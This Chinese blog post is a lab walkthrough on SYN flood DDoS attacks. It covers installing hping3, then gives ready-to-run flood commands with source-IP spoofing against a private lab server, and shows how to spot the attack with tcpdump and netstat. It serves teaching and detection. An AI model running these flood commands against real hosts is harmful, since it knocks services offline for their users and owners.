|NO.Z.00019|——————————|NavigationLog|——|DDOS黑客攻击|
一、DDOS攻击概念&黑客攻击
### --- DDOS是分布式拒绝服务攻击,是黑客人员最常使用的攻击方式之一;
~~~ # DDOS是分布式拒绝服务攻击,是黑客人员最常使用的攻击方式之一;
~~~ DDOS攻击的原理:是模拟数以万计的计算机(客户端),
~~~ 向目标服务器发起请求(HTTP,TCP,ICMP,ARP),企图耗尽目标服务器的资源,
~~~ 目标服务器资源耗尽从而拒绝提供任何服务。
### --- DDOS SYN Flood攻击,也被称为洪水攻击,基于TCP协议去实现;
~~~ # DDOS SYN Flood攻击,也被称为洪水攻击,基于TCP协议去实现;
~~~ SYN Flood攻击原理:黑客人员模拟数以万计的计算机(客户端),批量的,
~~~ 并发的向目标服务器发起SYN新建请求+Seq序列号x,突然假死宕机,
~~~ 目标服务器收到之后会进行响应的处理,
~~~ 服务端也会向客户端发起SYN请求+Seq序列号Y+ACK确认号(x+1)。
~~~ 因为客户端突然假死和宕机,客户端是无法向服务端进行第三次握手的确认,
~~~ 所以服务端会一直处于等待状态,等客户端的确认,
~~~ 服务端为了维持数以万计的半连接请求而耗尽资源(CPU,MEM,DISK,NET),
~~~ 拒绝提供任何服务,连正常的用户请求也无法处理了。
### --- DDOS攻击实战:
~~~ # DDOS攻击实战:
~~~ 新版本的Hping既Hping3可使用Tcl语言编写脚本,实施了一个引擎,
~~~ 可用于对TCP/IP数据包进行基于字符串,人可读的描述,
~~~ 那样编程人员就能编写与很短的时间内对TCP/IP数据包执行底层处理和分析有的脚本,
~~~ 以通过Hping3来实施分部署服务攻击(DDOS)。使用Hping3从源头IP发起DOS攻击,这意味着:
~~~ 你是用Hping3执行拒绝服务攻击(即DOS)
~~~ 你隐藏你的a$$(我是指你的源头IP地址)。
~~~ 你的目标及其看到的随机随机性源头IP地址中的源头,而不是IP地址(IP伪装)
~~~ 你的目标及其会在5分钟里面不堪重负,停止响应。
二、hping3程序make编译部署,yum部署;
### --- yum部署Hping3软件库:
~~~ # 设置第三方yum网络源:
[root@localhost ~]# yum install epel-release -y
[root@localhost ~]# ll /etc/yum.repos.d/epel*
-rw-r--r-- 1 root root 1050 Nov 1 04:33 /etc/yum.repos.d/epel.repo
-rw-r--r-- 1 root root 1149 Nov 1 04:33 /etc/yum.repos.d/epel-testing.repo
~~~ # 查看hping3是否有软件包:
[root@localhost ~]# yum list |grep hping3
hping3.x86_64 0.0.20051105-24.el7 epel
[root@localhost ~]# rpm -qa|grep -ai hping3 // rpm的方式安装hping3
[root@localhost ~]# yum install -y hping3 // yum方式安装hping3
~~~ # 查看hping3 程序文件:
[root@localhost ~]# find / -name hping3
/usr/sbin/hping3
### --- 源码部署Hping3软件库:
~~~ # 官网下载Hping3软件包:
[root@localhost ~]# wget -c http://www.hping.org/hping3-20051105.tar.gz
[root@localhost ~]# tar -zxvf hping3-20051105.tar.gz // tar工具解压程序包
[root@localhost ~]# cd hping3-20051105/
[root@localhost hping3-20051105]# sed -i 's#i386#x86_64#g' bytesex.h
[root@localhost hping3-20051105]# mkdir -p /usr/local/include/net
[root@localhost hping3-20051105]# ln -sf /usr/include/pcap-bpf.h /usr/local/include/net/bpf.h
~~~ # 安装Hping3依赖包
~~~ # TCL是一种语言脚本,最早称为“工具命令语言”“Tool Command Language”
~~~ # 而Libpcap是Unix/linux平台下包捕获函数包,大多数网络监控软件都以他为基础;安装tcl依赖包语言
[root@localhost hping3-20051105]# yum install -y tcl-devel libpcap-devel tcl libpcap
Installed:
libpcap-devel.x86_64 14:1.5.3-12.el7 tcl-devel.x86_64 1:8.5.13-8.el7
~~~ # 预编译、编译、安装
[root@localhost hping3-20051105]# ./configure
[root@localhost hping3-20051105]# make
[root@localhost hping3-20051105]# make install
~~~ # 查看是否安装成功:
[root@localhost hping3-20051105]# ls -l /usr/sbin/hping*
lrwxrwxrwx 1 root root 16 Nov 28 20:44 /usr/sbin/hping -> /usr/sbin/hping3
lrwxrwxrwx 1 root root 16 Nov 28 20:44 /usr/sbin/hping2 -> /usr/sbin/hping3
-rwxr-xr-x 1 root root 616432 Nov 28 20:44 /usr/sbin/hping3
### --- Hping发起DDOS攻击,如何抓包分析并设置防御规则:
~~~ # hping3常用参数:
~~~ -c: 发送数据包的个数
~~~ -d: 每个数据包的大小
~~~ -S: 发送SYN数据包
~~~ -w: TCP Windows大小
~~~ -p: 目标端口,你可以指定任意端口
~~~ --flood:尽可能快的发送数据包
~~~ --rand-source: 使用随机的IP地址;可以使用-a 或者--specify主机名:
~~~ # hping 在攻击端向目标服务器发起攻击 // --rand-source把攻击端IP地址暴露出来
[root@localhost ~]# hping3 -S --flood --rand-source -p 80 192.168.1.61
~~~ # 目标服务器通过tcpdump抓包可以看到攻击端发送的DDOS攻击请求包抓取分析;
[root@localhost ~]# yum install -y tcpdump
[root@localhost ~]# tcpdump -i ens33 -nn port 80 // 抓取攻击端服务器的包
~~~ # 通过netstat分析网络状态:把tcp状态打印出来,并对状态码进行排序;uniq -c:去重
[root@localhost ~]# netstat -an|awk '/^tcp/ {print $0,$NF}'|more
tcp 0 0 0.0.0.0:9090 0.0.0.0:* LISTEN LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN LISTEN
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN LISTEN
~~~ # 统计SYN_RECV状态数量:
[root@localhost ~]# netstat -an|awk '/^tcp\>/ {print $NF}'|sort -n|uniq -c|sort -nr
6 LISTEN
1 ESTABLISHED
~~~ # 查看被攻击端系统的CPU、MEM使用情况
[root@localhost ~]# top
top - 01:14:27 up 3:10, 2 users, load average: 0.00, 0.01, 0.05
~~~ # 示例
[root@localhost ~]# hping3 -S --flood -p 80 192.168.1.61 // 把攻击端服务器地址隐藏起来
[root@localhost ~]# tcpdump -i ens33 -nn port 80 and host 192.168.1.60 // 抓取攻击端服务的包
三、模拟DDOS去攻击目标服务器:
### --- 模拟用户正常访问一个网站抓取包分析三次握手,四次挥手的状态:
~~~ # 实验说明:
~~~ 攻击端IP:192.168.1.60
~~~ 服务端IP:192.168.1.61
~~~ # 在攻击端模拟正常访问网页:192.168.1.61:8080端口,查看现象,正常的三次握手四次挥手包正常状态:
[root@localhost ~]# wget -c http://192.168.1.61:8080/
--2020-11-28 07:24:24-- http://192.168.1.61:8080/
Connecting to 192.168.1.61:8080... connected.
100%[=============================================================================================================>] 4,833 --.-K/s in 0s
2020-11-28 07:24:24 (177 MB/s) - ‘index.html’ saved [4833/4833]
~~~ # 在服务端:192.168.1.61:抓取正常访问的包,查看包三次握手四次挥手状态信息:
[root@localhost ~]# tcpdump -i ens33 -nn port 8080 and host 192.168.1.60 // 抓取192.168.1.60:8080攻击端访问的包
10:24:26.592128 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [S], seq 191704061, win 29200, options [mss 1460,sackOK,TS val 25248004 ecr 0,nop,wscale 7], length 0
~~~ 第一次握手:客户端通过IP:192.168.1.60.57944:(随机端口)>(请求的方向向服务端IP:8080):192.168.1.61:8080发起flags标记、SYN请求、seq序列号(随机):191704061
10:24:26.592199 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [S.], seq 173774385, ack 191704062, win 28960, options [mss 1460,sackOK,TS val 3435130 ecr 25248004,nop,wscale 7], length 0
~~~ 第二次握手:服务端通过IP:192.168.1.61.8080:(服务端口>(向客户端IP:客户端的随机端口):192.168.1.60.57944发起flags标记,SYN请求,seq序列号(随机):173774385
~~~ ACK确认号:客户端向服务端发起第一次请求时的seq+1=191704061+1=191704062(表示告诉客户端我已收到你的请求,我同意和你建立连接;同时我也向你发起SYN请求,发起序列号;序列号给包打个标记,防止数据传输中数据紊乱)
10:24:26.592890 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [.], ack 1, win 229, options [nop,nop,TS val 25248005 ecr 3435130], length 0
~~~ 第三次握手:客户端给个回应(确认)使用的第一次握手时的随机端口号:ack=1或者ack=第一次握手seq+2;都表示三次握手建立成功)
~~~ 三次握手建立成功之后,会进行正常的数据传输:
~~~ # 以下为数据传输的过程:
10:24:26.592938 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [P.], seq 1:116, ack 1, win 229, options [nop,nop,TS val 25248005 ecr 3435130], length 115: HTTP: GET / HTTP/1.1
10:24:26.592951 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [.], ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 0 //length:字节长度
10:24:26.593331 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [.], seq 1:4345, ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 4344: HTTP: HTTP/1.1 200 OK
10:24:26.593483 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [P.], seq 4345:5074, ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 729: HTTP
### --- 模拟黑客攻击一个网站抓取包分析三次握手,四次挥手的状态:
~~~ # 实验说明:
~~~ 攻击端IP: 192.168.1.60
~~~ 被攻击端IP:192.168.1.61
~~~ # 在攻击端模拟正常访问网页:192.168.1.61:8080端口,查看现象,正常的三次握手四次挥手包正常状态:
[root@localhost ~]# hping3 -S --flood -p 8080 192.168.1.61
HPING 192.168.1.61 (ens33 192.168.1.61): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
~~~ # 在服务端:192.168.1.61:抓取正常访问的包,查看包三次握手四次挥手状态信息:
[root@localhost ~]# tcpdump -i ens33 -nn port 8080 and host 192.168.1.60
00:51:18.509027 IP 192.168.1.60.3374 > 192.168.1.61.8080: Flags [S], seq 865254589, win 512, length 0
~~~ 第一次握手:
00:51:18.509037 IP 192.168.1.61.8080 > 192.168.1.60.3374: Flags [S.], seq 3312894581, ack 865254590, win 29200, options [mss 1460], length 0
~~~ 第二次握手:
00:51:18.509083 IP 192.168.1.60.3375 > 192.168.1.61.8080: Flags [S], seq 1487307596, win 512, length 0
~~~ 第一次握手:
00:51:18.509091 IP 192.168.1.61.8080 > 192.168.1.60.3375: Flags [S.], seq 1504167065, ack 1487307597, win 29200, options [mss 1460], length 0
~~~ 第二次握手:
00:51:18.509097 IP 192.168.1.60.3376 > 192.168.1.61.8080: Flags [S], seq 456755539, win 512, length 0
00:51:18.509103 IP 192.168.1.61.8080 > 192.168.1.60.3376: Flags [S.], seq 529484330, ack 456755540, win 29200, options [mss 1460], length 0
~~~ 抓取包分析:抓包分析没有第三次握手客户端回应的情况,就可以确定我们的主机遭到黑客ddos攻击。
~~~ # 用netstat把tcp状态打印出来,并对状态吗进行排序,uniq -c :去重
[root@localhost ~]# netstat -an|awk '/^tcp\>/ {print $NF}'
SYN_RECV
SYN_RECV
[root@localhost ~]# netstat -an|awk '/^tcp/ {print $0,$NF}'|more
tcp 0 0 192.168.1.61:8080 192.168.1.60:30950 SYN_RECV SYN_RECV
tcp 0 0 192.168.1.61:8080 192.168.1.60:28622 SYN_RECV SYN_RECV
tcp 0 0 192.168.1.61:8080 192.168.1.60:41631 SYN_RECV SYN_RECV
[root@localhost ~]# netstat -an|awk '/^tcp\>/ {print $NF}'|sort -n|uniq -c|sort -nr
189 SYN_RECV
6 LISTEN
1 ESTABLISHED
~~~ # 查看被攻击端系统的CPU、MEM使用情况
[root@localhost ~]# top
top - 01:25:59 up 3:22, 2 users, load average: 0.68, 0.23, 0.12
Tasks: 123 total, 2 running, 121 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.2 us, 1.3 sy, 0.0 ni, 58.4 id, 0.0 wa, 0.0 hi, 40.1 si, 0.0 st
KiB Mem : 1863040 total, 1477716 free, 152276 used, 233048 buff/cache
KiB Swap: 4194300 total, 4194300 free, 0 used. 1556704 avail Mem
附录一:
### --- 问题现象:
[root@localhost hping3-20051105]# sed -i 's#i386#x86_64#g' bytesex.h
sed: -e expression #1, char 16: unknown option to `s'
### --- 报错分析:
~~~ 报错信息:报错是因为替换的字符串包含分隔符/
~~~ 所以这行改一下分割符既可以解决了;改成感叹号或者| 等其他来分割
### --- 解决方案:
[root@localhost hping3-20051105]# sed -i 's!i386!x86_64!g' bytesex.h
[root@localhost hping3-20051105]# echo $?
0
[root@localhost hping3-20051105]# sed -i 's|i386|x86_64|g' bytesex.h
[root@localhost hping3-20051105]# echo $?
0
Walter Savage Landor:strove with none,for none was worth my strife.Nature I loved and, next to Nature, Art:I warm'd both hands before the fire of life.It sinks, and I am ready to depart
——W.S.Landor
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」